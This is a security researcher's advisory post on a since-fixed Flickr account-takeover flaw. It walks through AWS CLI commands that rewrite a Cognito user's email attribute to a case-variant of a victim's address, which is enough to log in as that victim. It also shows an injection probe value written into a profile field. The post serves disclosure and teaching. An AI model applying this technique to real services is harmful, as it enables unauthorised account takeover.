ADVISORIES
Flickr Account Takeover
This post gives a deep dive into a critical security flaw that was present in Flickr’s login flow.
The authentication at identity.flickr.com is implemented using AWS Cognito. By exploiting configuration issues and violations of the OpenID Connect specification, it was possible to takeover any Flickr account without user interaction.
The issue was reported to Flickr via HackerOne on September 17th, the first preliminary fix was applied on that day.
Table of Contents
- Flickr Login Flow
- Amazon Cognito
- OpenID Connect: Using an Unintended Claim for User Authentication
- Making Wrong Assumptions
- Assembling the Puzzle: Account Takeover
- Hints for Developers
- Hints for Security Researchers
- Responsible Disclosure Timeline
Flickr Login Flow
Let us start by having a look at Flickr’s login. Flickr uses Amazon Cognito to implement its login functionality.
On a high level, the flow can be illustrated as follows:
The flow is started at identity.flickr.com
. Via JavaScript, the end-user’s credentials are sent to cognito-idp.us-east-1.amazonaws.com
, which responds with tokens. Finally, these tokens are forwarded to www.flickr.com
.
Amazon Cognito
The Amazon Cognito login implements a slightly modified variant of OpenID Connect. If you are familiar with this single sign-on protocol, you will recognize the following Auth. Request and Auth. Response:
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
[...]
{
"AuthFlow":"USER_PASSWORD_AUTH",
"ClientId":"3ck15a1ov4f0d3o97vs3tbjb52",
"AuthParameters":{
"USERNAME":"attacker@flickr.com",
"PASSWORD":"[REDACTED]",
"DEVICE_KEY":"us-east-1_070[...]"
},
"ClientMetadata":
{
}
}
If the provided credentials are valid, Cognito responds with tokens:
HTTP/2 200 OK
Date: Thu, 32 Abc 2040 25:51:36 GMT
[...]
{
"AuthenticationResult":
{
"AccessToken":"[REDACTED]",
"ExpiresIn":3600,
"IdToken":"[REDACTED]",
"RefreshToken":"[REDACTED]",
"TokenType":"Bearer"
},
"ChallengeParameters":
{
}
}
Included within the Auth. Response is the access_token
that should catch your attention.
Short research may lead to the realization, that this token can be directly used with the AWS Command Line Interface. But before we will have a look at the capabilities of this token, I would like to shame the AWS documentation on Cognito and User Pools. Or at least its German translation. It is simply not readable, after having a short glance into the localized version, I do not wonder anymore why developers tend to misconfigure or misuse these AWS APIs. 🙊
But now back to the topic: Flickr uses a user pool to organize their users. By using the access_token
with the AWS CLI tool, we can test which actions are in the scope of our token.
Let us start with the simple GetUser action, which only requires an access_token
:
$ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
{
"Username": "e28[...]",
"UserAttributes": [
{
"Name": "sub",
"Value": "e28[...]"
},
{
"Name": "birthdate",
"Value": "1998-09-17"
},
{
"Name": "email_verified",
"Value": "true"
},
{
"Name": "locale",
"Value": "en-us"
},
{
"Name": "given_name",
"Value": "Peter"
},
{
"Name": "family_name",
"Value": "Pentest"
},
{
"Name": "email",
"Value": "xyz@flickr.com"
}
]
}
Great! As the above output indicates, the obtained token can indeed be used to communicate with the AWS API.
Besides reading, we can also try to write user attributes (claims) that are linked to our account:
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQi[...] --user-attributes 'Name=birthdate,Value=><s>0'
$ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQi[...]
{
"Username": "e28[...]",
"UserAttributes": [
{
"Name": "sub",
"Value": "e28[...]"
},
{
"Name": "birthdate",
"Value": "><s>0"
},
[...]
]
}
Again, this attempt was successful and we altered the registered claim. 🧐
So far for the basics. Until now, we saw that Flickr allowed to read and write user attributes of the internally used AWS user pool using the API. This was our first puzzle piece.
OpenID Connect: Using an Unintended Claim for User Authentication
We proceed with our exploration by fiddling around with the email
user attribute. When we try to write this claim, we notice the following:
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
$ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQi[...]
{
"Username": "e28c34[...]",
"UserAttributes": [
[...]
{
"Name": "email_verified",
"Value": "false"
},
{
"Name": "email",
"Value": "imaginary@flickr.com"
}
]
}
Interestingly, we are able to write this claim. The only constraint appears to be that until the e-mail is verified using a sent code, the email_verified
is set to false
.
By chance, I tried to authenticate using my account at this time and noticed, that the login flow was broken. Sadly I have no good screenshots from this state. To conclude my observations, Flickr appeared to use the email
claim for authentication, and even worse, completely ignored the email_verified
claim. After login, I was sent to a page that told me there was no linked account for the given e-mail address. 😯
To understand why this might be an issue, let us have a look at the OpenID Connect Core 1.0 specification on the sub
claim:
[…]
sub
REQUIRED. Subject Identifier. A locally unique and never reassigned identifier within the Issuer for the End-User, which is intended to be consumed by the Client, e.g., 24400320 or AItOawmwtWwcT0k51BayewNvutrJUqsvl6qs7A4. It MUST NOT exceed 255 ASCII characters in length. The sub value is a case sensitive string.
This rather short excerpt includes some really important guarantees an Authorization Server gives to its Relying Parties that can be summed up as: You - as a client - can trust the contents within the sub
to identify your users.
Strikingly, this guarantee does not exist at all for other claims, like the email
claim. For instance, the AWS Cognito user attribute email
is case sensitive…
Making Wrong Assumptions
During the login via identity.flickr.com, Flickr normalizes entered e-mail addresses and sends the entirely lower case e-mail address to the backend. Server-side, the same normalization seems to take place before the email
claim is interpreted. Therefore, Flickr seems to assume that there will not be any collisions regarding e-mail addresses (e.g. Lauritz.Holtmann@example.com vs. lauritz.holtmann@example.com).
But, as you already know, by directly tampering with the user attributes via AWS CLI, we could easily create such a situation. 😳
Assembling the Puzzle: Account Takeover
Now we have all information that we need to assemble the puzzle and to takeover any Flickr account (of course this issue was immediately resolved, for more information see Responsible Disclosure Timeline).
Consider we have the following accounts:
- victim@flickr.com (our victim)
- An arbitrary other account that is controlled by the attacker - in the following attacker@flickr.com
At first, the malicious actor needs to obtain an AWS user pool access_token
. To do so, intercept the login request that is sent from https://identity.flickr.com/:
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
[...]
{
"AuthFlow":"USER_PASSWORD_AUTH",
"ClientId":"3ck15a1ov4f0d3o97vs3tbjb52",
"AuthParameters":{
"USERNAME":"attacker@flickr.com",
"PASSWORD":"[REDACTED]",
"DEVICE_KEY":"us-east-1_070[...]"
},
"ClientMetadata":
{
}
}
If the provided credentials for the attacker-controlled account are valid, Amazon responds with tokens:
HTTP/2 200 OK
Date: Thu, 32 Abc 2040 25:51:36 GMT
[...]
{
"AuthenticationResult":
{
"AccessToken":"[REDACTED]",
"ExpiresIn":3600,
"IdToken":"[REDACTED]",
"RefreshToken":"[REDACTED]",
"TokenType":"Bearer"
},
"ChallengeParameters":
{
}
}
As seen before, the access_token
can be directly used against the Amazon AWS API, for instance using the AWS Command Line Interface tool:
$ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
{
"Username": "e2[...]",
"UserAttributes": [
{
"Name": "sub",
"Value": "e28[...]"
},
{
"Name": "birthdate",
"Value": "1998-09-17"
},
{
"Name": "email_verified",
"Value": "true"
},
{
"Name": "locale",
"Value": "en-us"
},
{
"Name": "given_name",
"Value": "Peter"
},
{
"Name": "family_name",
"Value": "Pentest"
},
{
"Name": "email",
"Value": "attacker@flickr.com"
}
]
}
Using the API, one is able to alter some of the user attributes - including the linked e-mail address:
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=Victim@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "V***@flickr.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Note that the registered address is case-sensitive.
As the above output already indicates, at this stage, the e-mail address is not verified but set to a look-alike address of the victim:
$ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQi[...]
{
"Username": "e28c34[...]",
"UserAttributes": [
{
"Name": "sub",
"Value": "e2[...]"
},
{
"Name": "birthdate",
"Value": "1998-09-17"
},
{
"Name": "email_verified",
"Value": "false"
},
{
"Name": "locale",
"Value": "en-us"
},
{
"Name": "given_name",
"Value": "Peter"
},
{
"Name": "family_name",
"Value": "Pentest"
},
{
"Name": "email",
"Value": "Victim@flickr.com"
}
]
}
To complete the account takeover, login using the malicious, look-alike e-mail address and the attacker’s password.
In the following video, the complete process from the creation of an attacker account to login into the victim account is presented:
Thus, chained, as shown above, the aforementioned issues can be used to takeover a user’s account without any user interaction.
Hints for Developers
There are some takeaways and key issues identified in this post, that need to be considered if you use Amazon Cognito or similar (OAuth / OpenID Connect based) Identity Providers:
- Do not rely on other claims than the
sub
(subject) claim. - If you use Amazon Cognito, evaluate if there is a need to enable users to directly fiddle around with their user attributes using the AWS API. If not, protect all other attributes.
- If you use Amazon Cognito, keep in mind that the
email
claim may hold an unverified e-mail address. The verification status of this claim is reflected by theemail_verified
claim.
Hints for Security Researchers
Authentication, especially in case there are multiple entities like in single sign-on flows, is error-prone.
If you are interested in this kind of bug, besides having a detailed look at used primitives and technologies, always try to have an eye on the “high-level overview” of an authentication system. Especially where different products and software interact with each other, wrong assumptions are made and security-relevant bugs occur.
Responsible Disclosure Timeline
- 17th September 2021: [LH] Initial Report via Hackerone: https://hackerone.com/reports/1342088
- 17th Spetember 2021: [FLICKR] After some clarification, Flickr staff asks for a proof for the described issue:
- 17th September 2021: [FLICKR] Report is triaged, the maximal bounty is awarded.
- 18th September 2021: [FLICKR] A preliminary fix is applied to mitigate the immediate risk.
- 18th December 2021: [FLICKR] The Hackerone report is disclosed.
- 18th December 2021: [LH] This post is published.
The Responsible Disclosure process was exemplary, kudos to Flickr’s Application Security team! 🙂
Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter or LinkedIn. 👨💻
You can directly tweet about this post using this link. 🤓